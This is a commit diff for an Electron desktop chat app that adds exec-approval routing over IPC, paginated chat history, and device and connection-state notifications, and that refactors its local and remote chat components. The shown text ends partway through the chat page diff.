Merge remote-tracking branch 'origin/main' into copilothub-web-search
This commit is contained in:
commit
ec6dbff61c
68 changed files with 4245 additions and 1371 deletions
19
apps/desktop/electron/electron-env.d.ts
vendored
19
apps/desktop/electron/electron-env.d.ts
vendored
|
|
@ -101,6 +101,16 @@ interface LocalChatEvent {
|
|||
}
|
||||
}
|
||||
|
||||
interface LocalChatApproval {
|
||||
approvalId: string
|
||||
agentId: string
|
||||
command: string
|
||||
cwd?: string
|
||||
riskLevel: 'safe' | 'needs-review' | 'dangerous'
|
||||
riskReasons: string[]
|
||||
expiresAtMs: number
|
||||
}
|
||||
|
||||
interface ProviderStatus {
|
||||
id: string
|
||||
name: string
|
||||
|
|
@ -140,6 +150,10 @@ interface ElectronAPI {
|
|||
deviceConfirmResponse: (deviceId: string, allowed: boolean) => void
|
||||
listDevices: () => Promise<DeviceEntryInfo[]>
|
||||
revokeDevice: (deviceId: string) => Promise<{ ok: boolean }>
|
||||
onConnectionStateChanged: (callback: (state: string) => void) => void
|
||||
offConnectionStateChanged: () => void
|
||||
onDevicesChanged: (callback: () => void) => void
|
||||
offDevicesChanged: () => void
|
||||
}
|
||||
tools: {
|
||||
list: () => Promise<ToolInfo[]>
|
||||
|
|
@ -179,10 +193,13 @@ interface ElectronAPI {
|
|||
localChat: {
|
||||
subscribe: (agentId: string) => Promise<{ ok?: boolean; error?: string; alreadySubscribed?: boolean }>
|
||||
unsubscribe: (agentId: string) => Promise<{ ok: boolean }>
|
||||
getHistory: (agentId: string) => Promise<{ messages: Array<{ id: string; role: 'user' | 'assistant'; content: string; agentId: string }> }>
|
||||
getHistory: (agentId: string, options?: { offset?: number; limit?: number }) => Promise<{ messages: unknown[]; total: number; offset: number; limit: number }>
|
||||
send: (agentId: string, content: string) => Promise<{ ok?: boolean; error?: string }>
|
||||
resolveExecApproval: (approvalId: string, decision: string) => Promise<{ ok: boolean }>
|
||||
onEvent: (callback: (event: LocalChatEvent) => void) => void
|
||||
offEvent: () => void
|
||||
onApproval: (callback: (approval: LocalChatApproval) => void) => void
|
||||
offApproval: () => void
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -9,18 +9,6 @@ import { Hub } from '../../../../src/hub/hub.js'
|
|||
import type { ConnectionState } from '@multica/sdk'
|
||||
import type { AsyncAgent } from '../../../../src/agent/async-agent.js'
|
||||
|
||||
/**
|
||||
* Extract plain text from AgentMessage content (string or content block array).
|
||||
*/
|
||||
function extractTextContent(content: unknown): string {
|
||||
if (typeof content === 'string') return content
|
||||
if (!Array.isArray(content)) return ''
|
||||
return content
|
||||
.filter((c: { type?: string }) => c.type === 'text')
|
||||
.map((c: { text?: string }) => c.text ?? '')
|
||||
.join('')
|
||||
}
|
||||
|
||||
// Singleton Hub instance
|
||||
let hub: Hub | null = null
|
||||
let defaultAgentId: string | null = null
|
||||
|
|
@ -303,9 +291,10 @@ export function registerHubIpcHandlers(): void {
|
|||
|
||||
if (!shouldForward) return
|
||||
|
||||
// Track stream ID for message grouping
|
||||
// Track stream ID for message grouping (extract from event.message.id, same as Hub.beginStream)
|
||||
if (event.type === 'message_start') {
|
||||
currentStreamId = (event as { id?: string }).id ?? `stream-${Date.now()}`
|
||||
const msgId = (event as { message?: { id?: string } }).message?.id
|
||||
currentStreamId = msgId ?? `stream-${Date.now()}`
|
||||
safeLog(`[IPC] Starting stream: ${currentStreamId}`)
|
||||
}
|
||||
|
||||
|
|
@ -323,6 +312,14 @@ export function registerHubIpcHandlers(): void {
|
|||
})
|
||||
|
||||
ipcAgentSubscriptions.set(agentId, unsubscribe)
|
||||
|
||||
// Register local approval handler so exec approval requests route via IPC
|
||||
h.setLocalApprovalHandler(agentId, (payload) => {
|
||||
if (!mainWindowRef || mainWindowRef.isDestroyed()) return
|
||||
safeLog(`[IPC] Sending approval request to renderer: ${payload.approvalId}`)
|
||||
mainWindowRef.webContents.send('localChat:approval', payload)
|
||||
})
|
||||
|
||||
safeLog(`[IPC] Local chat subscribed to agent: ${agentId}`)
|
||||
|
||||
return { ok: true }
|
||||
|
|
@ -337,36 +334,34 @@ export function registerHubIpcHandlers(): void {
|
|||
unsubscribe()
|
||||
}
|
||||
ipcAgentSubscriptions.delete(agentId)
|
||||
getHub().removeLocalApprovalHandler(agentId)
|
||||
safeLog(`[IPC] Local chat unsubscribed from agent: ${agentId}`)
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
/**
|
||||
* Get message history for local chat.
|
||||
* Returns messages in the same format as useMessagesStore.
|
||||
* Get message history for local chat with pagination.
|
||||
* Returns raw AgentMessageItem[] so the renderer can render content blocks,
|
||||
* tool results, thinking blocks, etc. — same format as the Gateway RPC.
|
||||
*/
|
||||
ipcMain.handle('localChat:getHistory', async (_event, agentId: string) => {
|
||||
ipcMain.handle('localChat:getHistory', async (_event, agentId: string, options?: { offset?: number; limit?: number }) => {
|
||||
const h = getHub()
|
||||
const agent = h.getAgent(agentId)
|
||||
if (!agent) {
|
||||
return { messages: [] }
|
||||
return { messages: [], total: 0, offset: 0, limit: 0 }
|
||||
}
|
||||
|
||||
try {
|
||||
const sessionMessages = agent.getMessages()
|
||||
const messages = sessionMessages
|
||||
.filter((m) => m.role === 'user' || m.role === 'assistant')
|
||||
.map((m, i) => ({
|
||||
id: `history-${i}-${Date.now()}`,
|
||||
role: m.role as 'user' | 'assistant',
|
||||
content: extractTextContent((m as { content?: unknown }).content),
|
||||
agentId,
|
||||
}))
|
||||
.filter((m) => m.content.length > 0)
|
||||
|
||||
return { messages }
|
||||
await agent.ensureInitialized()
|
||||
const allMessages = agent.getMessages()
|
||||
const total = allMessages.length
|
||||
// Must match DEFAULT_MESSAGES_LIMIT from @multica/sdk/actions/rpc
|
||||
const limit = options?.limit ?? 200
|
||||
const offset = options?.offset ?? Math.max(0, total - limit)
|
||||
const sliced = allMessages.slice(offset, offset + limit)
|
||||
return { messages: sliced, total, offset, limit }
|
||||
} catch {
|
||||
return { messages: [] }
|
||||
return { messages: [], total: 0, offset: 0, limit: 0 }
|
||||
}
|
||||
})
|
||||
|
||||
|
|
@ -394,6 +389,15 @@ export function registerHubIpcHandlers(): void {
|
|||
return { ok: true }
|
||||
})
|
||||
|
||||
/**
|
||||
* Resolve an exec approval request for local chat.
|
||||
*/
|
||||
ipcMain.handle('localChat:resolveExecApproval', async (_event, approvalId: string, decision: string) => {
|
||||
const h = getHub()
|
||||
const ok = h.resolveExecApproval(approvalId, decision as 'allow-once' | 'allow-always' | 'deny')
|
||||
return { ok }
|
||||
})
|
||||
|
||||
/**
|
||||
* Register a one-time token for device verification.
|
||||
* Called by the QR code component when a token is generated or refreshed.
|
||||
|
|
@ -417,7 +421,12 @@ export function registerHubIpcHandlers(): void {
|
|||
*/
|
||||
ipcMain.handle('hub:revokeDevice', async (_event, deviceId: string) => {
|
||||
const h = getHub()
|
||||
return { ok: h.deviceStore.revokeDevice(deviceId) }
|
||||
const ok = h.deviceStore.revokeDevice(deviceId)
|
||||
// Notify renderer that device list changed
|
||||
if (ok && mainWindowRef && !mainWindowRef.isDestroyed()) {
|
||||
mainWindowRef.webContents.send('hub:devices-changed')
|
||||
}
|
||||
return { ok }
|
||||
})
|
||||
|
||||
}
|
||||
|
|
@ -453,10 +462,21 @@ export function setupDeviceConfirmation(mainWindow: Electron.BrowserWindow): voi
|
|||
pendingConfirms.set(deviceId, (allowed: boolean) => {
|
||||
clearTimeout(timeout)
|
||||
resolve(allowed)
|
||||
// Notify renderer that device list changed when a device is approved
|
||||
if (allowed && !mainWindow.isDestroyed()) {
|
||||
mainWindow.webContents.send('hub:devices-changed')
|
||||
}
|
||||
})
|
||||
mainWindow.webContents.send('hub:device-confirm-request', deviceId, meta)
|
||||
})
|
||||
})
|
||||
|
||||
// Forward connection state changes to renderer
|
||||
h.onConnectionStateChange((state) => {
|
||||
if (!mainWindow.isDestroyed()) {
|
||||
mainWindow.webContents.send('hub:connection-state-changed', state)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
|
|||
|
|
@ -82,6 +82,17 @@ export interface LocalChatEvent {
|
|||
}
|
||||
}
|
||||
|
||||
// Local chat approval request (mirrors ExecApprovalRequestPayload from @multica/sdk)
|
||||
export interface LocalChatApproval {
|
||||
approvalId: string
|
||||
agentId: string
|
||||
command: string
|
||||
cwd?: string
|
||||
riskLevel: 'safe' | 'needs-review' | 'dangerous'
|
||||
riskReasons: string[]
|
||||
expiresAtMs: number
|
||||
}
|
||||
|
||||
// Available style options
|
||||
export const AGENT_STYLES = ['concise', 'warm', 'playful', 'professional'] as const
|
||||
export type AgentStyle = (typeof AGENT_STYLES)[number]
|
||||
|
|
@ -117,6 +128,18 @@ const electronAPI = {
|
|||
},
|
||||
listDevices: () => ipcRenderer.invoke('hub:listDevices'),
|
||||
revokeDevice: (deviceId: string) => ipcRenderer.invoke('hub:revokeDevice', deviceId),
|
||||
onConnectionStateChanged: (callback: (state: string) => void) => {
|
||||
ipcRenderer.on('hub:connection-state-changed', (_event, state: string) => callback(state))
|
||||
},
|
||||
offConnectionStateChanged: () => {
|
||||
ipcRenderer.removeAllListeners('hub:connection-state-changed')
|
||||
},
|
||||
onDevicesChanged: (callback: () => void) => {
|
||||
ipcRenderer.on('hub:devices-changed', () => callback())
|
||||
},
|
||||
offDevicesChanged: () => {
|
||||
ipcRenderer.removeAllListeners('hub:devices-changed')
|
||||
},
|
||||
},
|
||||
|
||||
// Tools management
|
||||
|
|
@ -184,11 +207,14 @@ const electronAPI = {
|
|||
subscribe: (agentId: string) => ipcRenderer.invoke('localChat:subscribe', agentId),
|
||||
/** Unsubscribe from agent events */
|
||||
unsubscribe: (agentId: string) => ipcRenderer.invoke('localChat:unsubscribe', agentId),
|
||||
/** Get message history for local chat */
|
||||
getHistory: (agentId: string): Promise<{ messages: Array<{ id: string; role: 'user' | 'assistant'; content: string; agentId: string }> }> =>
|
||||
ipcRenderer.invoke('localChat:getHistory', agentId),
|
||||
/** Get message history for local chat with pagination (returns raw AgentMessageItem[]) */
|
||||
getHistory: (agentId: string, options?: { offset?: number; limit?: number }) =>
|
||||
ipcRenderer.invoke('localChat:getHistory', agentId, options),
|
||||
/** Send message to agent via direct IPC (no Gateway) */
|
||||
send: (agentId: string, content: string) => ipcRenderer.invoke('localChat:send', agentId, content),
|
||||
/** Resolve an exec approval request */
|
||||
resolveExecApproval: (approvalId: string, decision: string) =>
|
||||
ipcRenderer.invoke('localChat:resolveExecApproval', approvalId, decision),
|
||||
/** Listen for agent events */
|
||||
onEvent: (callback: (event: LocalChatEvent) => void) => {
|
||||
ipcRenderer.on('localChat:event', (_event, data: LocalChatEvent) => callback(data))
|
||||
|
|
@ -197,6 +223,14 @@ const electronAPI = {
|
|||
offEvent: () => {
|
||||
ipcRenderer.removeAllListeners('localChat:event')
|
||||
},
|
||||
/** Listen for exec approval requests */
|
||||
onApproval: (callback: (approval: LocalChatApproval) => void) => {
|
||||
ipcRenderer.on('localChat:approval', (_event, data: LocalChatApproval) => callback(data))
|
||||
},
|
||||
/** Remove approval listener */
|
||||
offApproval: () => {
|
||||
ipcRenderer.removeAllListeners('localChat:approval')
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@
|
|||
"dependencies": {
|
||||
"@hugeicons/core-free-icons": "^3.1.1",
|
||||
"@hugeicons/react": "^1.1.4",
|
||||
"@multica/hooks": "workspace:*",
|
||||
"@multica/sdk": "workspace:*",
|
||||
"@multica/store": "workspace:*",
|
||||
"@multica/ui": "workspace:*",
|
||||
|
|
|
|||
|
|
@ -1,7 +1,6 @@
|
|||
import { createHashRouter, RouterProvider } from 'react-router-dom'
|
||||
import Layout from './pages/layout'
|
||||
import HomePage from './pages/home'
|
||||
import ChatPage from './pages/chat'
|
||||
import ToolsPage from './pages/tools'
|
||||
import SkillsPage from './pages/skills'
|
||||
|
||||
|
|
@ -11,7 +10,7 @@ const router = createHashRouter([
|
|||
element: <Layout />,
|
||||
children: [
|
||||
{ index: true, element: <HomePage /> },
|
||||
{ path: 'chat', element: <ChatPage /> },
|
||||
{ path: 'chat' },
|
||||
{ path: 'tools', element: <ToolsPage /> },
|
||||
{ path: 'skills', element: <SkillsPage /> },
|
||||
],
|
||||
|
|
|
|||
54
apps/desktop/src/components/local-chat.tsx
Normal file
54
apps/desktop/src/components/local-chat.tsx
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
import { Loading } from '@multica/ui/components/ui/loading'
|
||||
import { ChatView } from '@multica/ui/components/chat-view'
|
||||
import { useLocalChat } from '../hooks/use-local-chat'
|
||||
|
||||
export function LocalChat() {
|
||||
const {
|
||||
agentId,
|
||||
initError,
|
||||
messages,
|
||||
streamingIds,
|
||||
isLoading,
|
||||
isLoadingHistory,
|
||||
isLoadingMore,
|
||||
hasMore,
|
||||
error,
|
||||
pendingApprovals,
|
||||
sendMessage,
|
||||
loadMore,
|
||||
resolveApproval,
|
||||
} = useLocalChat()
|
||||
|
||||
if (initError) {
|
||||
return (
|
||||
<div className="flex-1 flex items-center justify-center text-sm text-destructive">
|
||||
{initError}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (!agentId) {
|
||||
return (
|
||||
<div className="flex-1 flex items-center justify-center gap-2 text-muted-foreground text-sm">
|
||||
<Loading />
|
||||
Initializing...
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<ChatView
|
||||
messages={messages}
|
||||
streamingIds={streamingIds}
|
||||
isLoading={isLoading}
|
||||
isLoadingHistory={isLoadingHistory}
|
||||
isLoadingMore={isLoadingMore}
|
||||
hasMore={hasMore}
|
||||
error={error}
|
||||
pendingApprovals={pendingApprovals}
|
||||
sendMessage={sendMessage}
|
||||
loadMore={loadMore}
|
||||
resolveApproval={resolveApproval}
|
||||
/>
|
||||
)
|
||||
}
|
||||
51
apps/desktop/src/components/remote-chat.tsx
Normal file
51
apps/desktop/src/components/remote-chat.tsx
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
import { Loading } from '@multica/ui/components/ui/loading'
|
||||
import { ChatView } from '@multica/ui/components/chat-view'
|
||||
import { DevicePairing } from '@multica/ui/components/device-pairing'
|
||||
import { useGatewayChat } from '@multica/hooks/use-gateway-chat'
|
||||
import type { UseGatewayConnectionReturn } from '@multica/hooks/use-gateway-connection'
|
||||
|
||||
export function RemoteChat({ gateway }: { gateway: UseGatewayConnectionReturn }) {
|
||||
const { pageState, connectionState, error, client, identity, pairingKey, connect, disconnect } = gateway
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col overflow-hidden w-full">
|
||||
{pageState === 'loading' && (
|
||||
<div className="flex-1 flex items-center justify-center gap-2 text-muted-foreground text-sm">
|
||||
<Loading />
|
||||
Loading...
|
||||
</div>
|
||||
)}
|
||||
|
||||
{(pageState === 'not-connected' || pageState === 'connecting') && (
|
||||
<DevicePairing
|
||||
key={pairingKey}
|
||||
connectionState={connectionState}
|
||||
lastError={error}
|
||||
onConnect={connect}
|
||||
onCancel={disconnect}
|
||||
/>
|
||||
)}
|
||||
|
||||
{pageState === 'connected' && client && identity && (
|
||||
<ConnectedChat
|
||||
client={client}
|
||||
hubId={identity.hubId}
|
||||
agentId={identity.agentId}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ConnectedChat({
|
||||
client,
|
||||
hubId,
|
||||
agentId,
|
||||
}: {
|
||||
client: NonNullable<UseGatewayConnectionReturn['client']>
|
||||
hubId: string
|
||||
agentId: string
|
||||
}) {
|
||||
const chat = useGatewayChat({ client, hubId, agentId })
|
||||
return <ChatView {...chat} />
|
||||
}
|
||||
|
|
@ -53,5 +53,15 @@ export function useDevices(): UseDevicesReturn {
|
|||
refresh()
|
||||
}, [refresh])
|
||||
|
||||
// Subscribe to device list changes pushed from main process
|
||||
useEffect(() => {
|
||||
window.electronAPI?.hub.onDevicesChanged(() => {
|
||||
refresh()
|
||||
})
|
||||
return () => {
|
||||
window.electronAPI?.hub.offDevicesChanged()
|
||||
}
|
||||
}, [refresh])
|
||||
|
||||
return { devices, loading, refresh, revokeDevice }
|
||||
}
|
||||
|
|
|
|||
|
|
@ -88,6 +88,17 @@ export function useHub(): UseHubReturn {
|
|||
initHub()
|
||||
}, [initHub])
|
||||
|
||||
// Subscribe to connection state changes pushed from main process
|
||||
useEffect(() => {
|
||||
const handler = (state: string) => {
|
||||
setHubInfo((prev) => prev ? { ...prev, connectionState: state as HubInfo['connectionState'] } : prev)
|
||||
}
|
||||
window.electronAPI?.hub.onConnectionStateChanged(handler)
|
||||
return () => {
|
||||
window.electronAPI?.hub.offConnectionStateChanged()
|
||||
}
|
||||
}, [])
|
||||
|
||||
// Refresh Hub info and agents
|
||||
const refresh = useCallback(async () => {
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -1,166 +1,151 @@
|
|||
/**
|
||||
* Hook for local direct chat with agent via IPC (no Gateway required).
|
||||
*
|
||||
* This hook bridges IPC events to useMessagesStore, allowing the Chat component
|
||||
* to work identically in both local IPC and remote Gateway modes.
|
||||
*/
|
||||
import { useState, useEffect, useCallback, useRef } from 'react'
|
||||
import { useMessagesStore } from '@multica/store'
|
||||
import type { ContentBlock, CompactionEndEvent } from '@multica/sdk'
|
||||
import { useChat } from '@multica/hooks/use-chat'
|
||||
import type {
|
||||
StreamPayload,
|
||||
ExecApprovalRequestPayload,
|
||||
ApprovalDecision,
|
||||
AgentMessageItem,
|
||||
} from '@multica/sdk'
|
||||
import { DEFAULT_MESSAGES_LIMIT } from '@multica/sdk'
|
||||
|
||||
interface UseLocalChatOptions {
|
||||
agentId: string
|
||||
}
|
||||
|
||||
interface UseLocalChatReturn {
|
||||
isConnected: boolean
|
||||
isLoading: boolean
|
||||
sendMessage: (content: string) => void
|
||||
disconnect: () => void
|
||||
}
|
||||
|
||||
/**
|
||||
* Provides local IPC chat that uses the same useMessagesStore as Gateway mode.
|
||||
* This enables full Chat component reuse.
|
||||
*/
|
||||
export function useLocalChat({ agentId }: UseLocalChatOptions): UseLocalChatReturn {
|
||||
const [isConnected, setIsConnected] = useState(false)
|
||||
export function useLocalChat() {
|
||||
const chat = useChat()
|
||||
const chatRef = useRef(chat)
|
||||
chatRef.current = chat
|
||||
const [agentId, setAgentId] = useState<string | null>(null)
|
||||
const [isLoading, setIsLoading] = useState(false)
|
||||
const currentStreamRef = useRef<string | null>(null)
|
||||
const [isLoadingHistory, setIsLoadingHistory] = useState(true)
|
||||
const [isLoadingMore, setIsLoadingMore] = useState(false)
|
||||
const isLoadingMoreRef = useRef(false)
|
||||
const [initError, setInitError] = useState<string | null>(null)
|
||||
const initRef = useRef(false)
|
||||
const offsetRef = useRef<number | null>(null)
|
||||
|
||||
// Subscribe to agent events on mount
|
||||
// Initialize hub and get default agent ID
|
||||
useEffect(() => {
|
||||
if (initRef.current) return
|
||||
initRef.current = true
|
||||
|
||||
window.electronAPI.hub.init()
|
||||
.then((result) => {
|
||||
const r = result as { defaultAgentId?: string }
|
||||
console.log('[LocalChat] hub.init → defaultAgentId:', r.defaultAgentId)
|
||||
if (r.defaultAgentId) {
|
||||
setAgentId(r.defaultAgentId)
|
||||
} else {
|
||||
setInitError('No default agent available')
|
||||
setIsLoadingHistory(false)
|
||||
}
|
||||
})
|
||||
.catch((err: Error) => {
|
||||
setInitError(err.message)
|
||||
setIsLoadingHistory(false)
|
||||
})
|
||||
}, [])
|
||||
|
||||
// Subscribe to events + fetch history once agentId is available
|
||||
useEffect(() => {
|
||||
if (!agentId) return
|
||||
|
||||
const subscribe = async () => {
|
||||
const result = await window.electronAPI.localChat.subscribe(agentId)
|
||||
if (result.ok) {
|
||||
setIsConnected(true)
|
||||
}
|
||||
}
|
||||
// Subscribe to agent events
|
||||
window.electronAPI.localChat.subscribe(agentId).catch(() => {})
|
||||
|
||||
subscribe()
|
||||
// Listen for stream events
|
||||
window.electronAPI.localChat.onEvent((data) => {
|
||||
// Cast IPC event to StreamPayload (same shape: { agentId, streamId, event })
|
||||
const payload = data as unknown as StreamPayload
|
||||
if (!payload.event) return
|
||||
|
||||
// Load message history from agent session
|
||||
const loadHistory = async () => {
|
||||
try {
|
||||
const result = await window.electronAPI.localChat.getHistory(agentId)
|
||||
if (result.messages && result.messages.length > 0) {
|
||||
// Normalize: IPC may return content as string, store expects ContentBlock[]
|
||||
useMessagesStore.getState().loadMessages(
|
||||
result.messages.map((m: Record<string, unknown>) => ({
|
||||
...m,
|
||||
content: typeof m.content === 'string'
|
||||
? (m.content ? [{ type: 'text' as const, text: m.content }] : [])
|
||||
: (m.content ?? []),
|
||||
})) as import('@multica/store').Message[]
|
||||
)
|
||||
}
|
||||
} catch {
|
||||
// History load is best-effort
|
||||
}
|
||||
}
|
||||
loadHistory()
|
||||
|
||||
// Listen for events and route to useMessagesStore
|
||||
window.electronAPI.localChat.onEvent((event) => {
|
||||
if (event.agentId !== agentId) return
|
||||
|
||||
const store = useMessagesStore.getState()
|
||||
|
||||
// Handle error
|
||||
if (event.type === 'error') {
|
||||
store.addAssistantMessage(event.content ?? 'Unknown error', agentId)
|
||||
setIsLoading(false)
|
||||
return
|
||||
}
|
||||
|
||||
// Handle agent events - same logic as connection-store.ts
|
||||
const agentEvent = event.event
|
||||
const streamId = event.streamId
|
||||
if (!agentEvent) return
|
||||
|
||||
// Handle compaction events (no streamId required)
|
||||
if (agentEvent.type === 'compaction_start') {
|
||||
store.startCompaction()
|
||||
return
|
||||
}
|
||||
if (agentEvent.type === 'compaction_end') {
|
||||
const evt = agentEvent as CompactionEndEvent
|
||||
store.endCompaction({
|
||||
removed: evt.removed,
|
||||
kept: evt.kept,
|
||||
tokensRemoved: evt.tokensRemoved,
|
||||
tokensKept: evt.tokensKept,
|
||||
reason: evt.reason,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if (!streamId) return
|
||||
|
||||
if (agentEvent.type === 'message_start') {
|
||||
currentStreamRef.current = streamId
|
||||
store.startStream(streamId, agentId)
|
||||
const content = extractContentFromAgentEvent(agentEvent)
|
||||
if (content.length) store.appendStream(streamId, content)
|
||||
} else if (agentEvent.type === 'message_update') {
|
||||
const content = extractContentFromAgentEvent(agentEvent)
|
||||
if (content.length && currentStreamRef.current) {
|
||||
store.appendStream(currentStreamRef.current, content)
|
||||
}
|
||||
} else if (agentEvent.type === 'message_end') {
|
||||
const content = extractContentFromAgentEvent(agentEvent)
|
||||
if (currentStreamRef.current) {
|
||||
store.endStream(currentStreamRef.current, content)
|
||||
currentStreamRef.current = null
|
||||
}
|
||||
setIsLoading(false)
|
||||
}
|
||||
chatRef.current.handleStream(payload)
|
||||
if (payload.event.type === 'message_start') setIsLoading(true)
|
||||
if (payload.event.type === 'message_end') setIsLoading(false)
|
||||
})
|
||||
|
||||
// Listen for exec approval requests
|
||||
window.electronAPI.localChat.onApproval((approval) => {
|
||||
chatRef.current.addApproval(approval as ExecApprovalRequestPayload)
|
||||
})
|
||||
|
||||
// Fetch history with pagination
|
||||
window.electronAPI.localChat.getHistory(agentId, { limit: DEFAULT_MESSAGES_LIMIT })
|
||||
.then((result) => {
|
||||
console.log('[LocalChat] getHistory result:', result.messages?.length, 'messages, total:', result.total)
|
||||
if (result.messages?.length) {
|
||||
chatRef.current.setHistory(result.messages as AgentMessageItem[], agentId, {
|
||||
total: result.total,
|
||||
offset: result.offset,
|
||||
})
|
||||
offsetRef.current = result.offset
|
||||
}
|
||||
})
|
||||
.catch(() => {})
|
||||
.finally(() => setIsLoadingHistory(false))
|
||||
|
||||
return () => {
|
||||
window.electronAPI.localChat.offEvent()
|
||||
window.electronAPI.localChat.unsubscribe(agentId)
|
||||
setIsConnected(false)
|
||||
window.electronAPI.localChat.offApproval()
|
||||
window.electronAPI.localChat.unsubscribe(agentId).catch(() => {})
|
||||
}
|
||||
}, [agentId])
|
||||
|
||||
const sendMessage = useCallback(
|
||||
async (content: string) => {
|
||||
if (!content.trim() || !agentId || isLoading) return
|
||||
|
||||
// Add user message to store (same as Gateway mode)
|
||||
useMessagesStore.getState().addUserMessage(content.trim(), agentId)
|
||||
(text: string) => {
|
||||
const trimmed = text.trim()
|
||||
if (!trimmed || !agentId) return
|
||||
chatRef.current.addUserMessage(trimmed, agentId)
|
||||
chatRef.current.setError(null)
|
||||
window.electronAPI.localChat.send(agentId, trimmed).catch(() => {})
|
||||
setIsLoading(true)
|
||||
|
||||
// Send via IPC
|
||||
const result = await window.electronAPI.localChat.send(agentId, content.trim())
|
||||
if (result.error) {
|
||||
useMessagesStore.getState().addAssistantMessage(`Error: ${result.error}`, agentId)
|
||||
setIsLoading(false)
|
||||
}
|
||||
},
|
||||
[agentId, isLoading]
|
||||
[agentId],
|
||||
)
|
||||
|
||||
const disconnect = useCallback(() => {
|
||||
useMessagesStore.getState().clearMessages()
|
||||
setIsConnected(false)
|
||||
setIsLoading(false)
|
||||
}, [])
|
||||
const loadMore = useCallback(async () => {
|
||||
const currentOffset = offsetRef.current
|
||||
if (!agentId || currentOffset == null || currentOffset <= 0 || isLoadingMoreRef.current) return
|
||||
|
||||
isLoadingMoreRef.current = true
|
||||
setIsLoadingMore(true)
|
||||
try {
|
||||
const newOffset = Math.max(0, currentOffset - DEFAULT_MESSAGES_LIMIT)
|
||||
const limit = currentOffset - newOffset
|
||||
const result = await window.electronAPI.localChat.getHistory(agentId, { offset: newOffset, limit })
|
||||
if (result.messages?.length) {
|
||||
chatRef.current.prependHistory(result.messages as AgentMessageItem[], agentId, {
|
||||
total: result.total,
|
||||
offset: result.offset,
|
||||
})
|
||||
offsetRef.current = result.offset
|
||||
}
|
||||
} catch {
|
||||
// Best-effort — pagination failure does not block chat
|
||||
} finally {
|
||||
isLoadingMoreRef.current = false
|
||||
setIsLoadingMore(false)
|
||||
}
|
||||
}, [agentId])
|
||||
|
||||
const resolveApproval = useCallback(
|
||||
(approvalId: string, decision: ApprovalDecision) => {
|
||||
chatRef.current.removeApproval(approvalId)
|
||||
window.electronAPI.localChat.resolveExecApproval(approvalId, decision).catch(() => {})
|
||||
},
|
||||
[],
|
||||
)
|
||||
|
||||
return {
|
||||
isConnected,
|
||||
agentId,
|
||||
initError,
|
||||
messages: chat.messages,
|
||||
streamingIds: chat.streamingIds,
|
||||
isLoading,
|
||||
isLoadingHistory,
|
||||
isLoadingMore,
|
||||
hasMore: chat.hasMore,
|
||||
error: chat.error,
|
||||
pendingApprovals: chat.pendingApprovals,
|
||||
sendMessage,
|
||||
disconnect,
|
||||
loadMore,
|
||||
resolveApproval,
|
||||
}
|
||||
}
|
||||
|
||||
/** Extract content blocks from AgentEvent message */
|
||||
function extractContentFromAgentEvent(event: { message?: { content?: unknown } }): ContentBlock[] {
|
||||
if (!event.message?.content) return []
|
||||
const content = event.message.content
|
||||
return Array.isArray(content) ? content as ContentBlock[] : []
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,239 +1,128 @@
|
|||
/**
|
||||
* Chat Page - supports both Local (IPC) and Remote (Gateway) modes
|
||||
*
|
||||
* Both modes use the same useMessagesStore and Chat UI components.
|
||||
* The difference is only in the transport layer:
|
||||
* - Local: Direct IPC to agent in the same Electron process
|
||||
* - Remote: WebSocket via Gateway to external Hub
|
||||
*/
|
||||
import { useState, useEffect, useCallback, useRef } from 'react'
|
||||
import { Button } from '@multica/ui/components/ui/button'
|
||||
import { ChatInput } from '@multica/ui/components/chat-input'
|
||||
import { MessageList } from '@multica/ui/components/message-list'
|
||||
import { ConnectPrompt } from '@multica/ui/components/connect-prompt'
|
||||
import { useMessagesStore, useConnectionStore, useAutoConnect } from '@multica/store'
|
||||
import { useScrollFade } from '@multica/ui/hooks/use-scroll-fade'
|
||||
import { useAutoScroll } from '@multica/ui/hooks/use-auto-scroll'
|
||||
import { useLocalChat } from '../hooks/use-local-chat'
|
||||
import { RemoteChat } from '../components/remote-chat'
|
||||
import { LocalChat } from '../components/local-chat'
|
||||
import { useChatModeStore } from '../stores/chat-mode'
|
||||
import { useGatewayConnection, type UseGatewayConnectionReturn } from '@multica/hooks/use-gateway-connection'
|
||||
|
||||
type ChatMode = 'select' | 'local' | 'remote'
|
||||
function ModeNav({ gateway }: { gateway: UseGatewayConnectionReturn }) {
|
||||
const { mode, setMode } = useChatModeStore()
|
||||
|
||||
export default function ChatPage() {
|
||||
const [mode, setMode] = useState<ChatMode>('select')
|
||||
const [defaultAgentId, setDefaultAgentId] = useState<string | null>(null)
|
||||
|
||||
// Get default agent ID on mount
|
||||
useEffect(() => {
|
||||
const loadAgentId = async () => {
|
||||
const status = await window.electronAPI.hub.getStatus()
|
||||
if (status.defaultAgent?.agentId) {
|
||||
setDefaultAgentId(status.defaultAgent.agentId)
|
||||
}
|
||||
}
|
||||
loadAgentId()
|
||||
}, [])
|
||||
|
||||
// Clear messages when switching modes
|
||||
const handleModeChange = (newMode: ChatMode) => {
|
||||
useMessagesStore.getState().clearMessages()
|
||||
setMode(newMode)
|
||||
}
|
||||
|
||||
// Mode selection screen
|
||||
if (mode === 'select') {
|
||||
return (
|
||||
<div className="h-full flex flex-col items-center justify-center gap-6 p-4">
|
||||
<div className="text-center space-y-2">
|
||||
<h2 className="text-lg font-semibold">Start a Conversation</h2>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Choose how you want to connect
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col gap-3 w-full max-w-xs">
|
||||
<Button
|
||||
size="lg"
|
||||
onClick={() => handleModeChange('local')}
|
||||
disabled={!defaultAgentId}
|
||||
className="w-full"
|
||||
>
|
||||
Local Agent
|
||||
<span className="text-xs ml-2 opacity-70">(Direct IPC)</span>
|
||||
</Button>
|
||||
|
||||
<Button
|
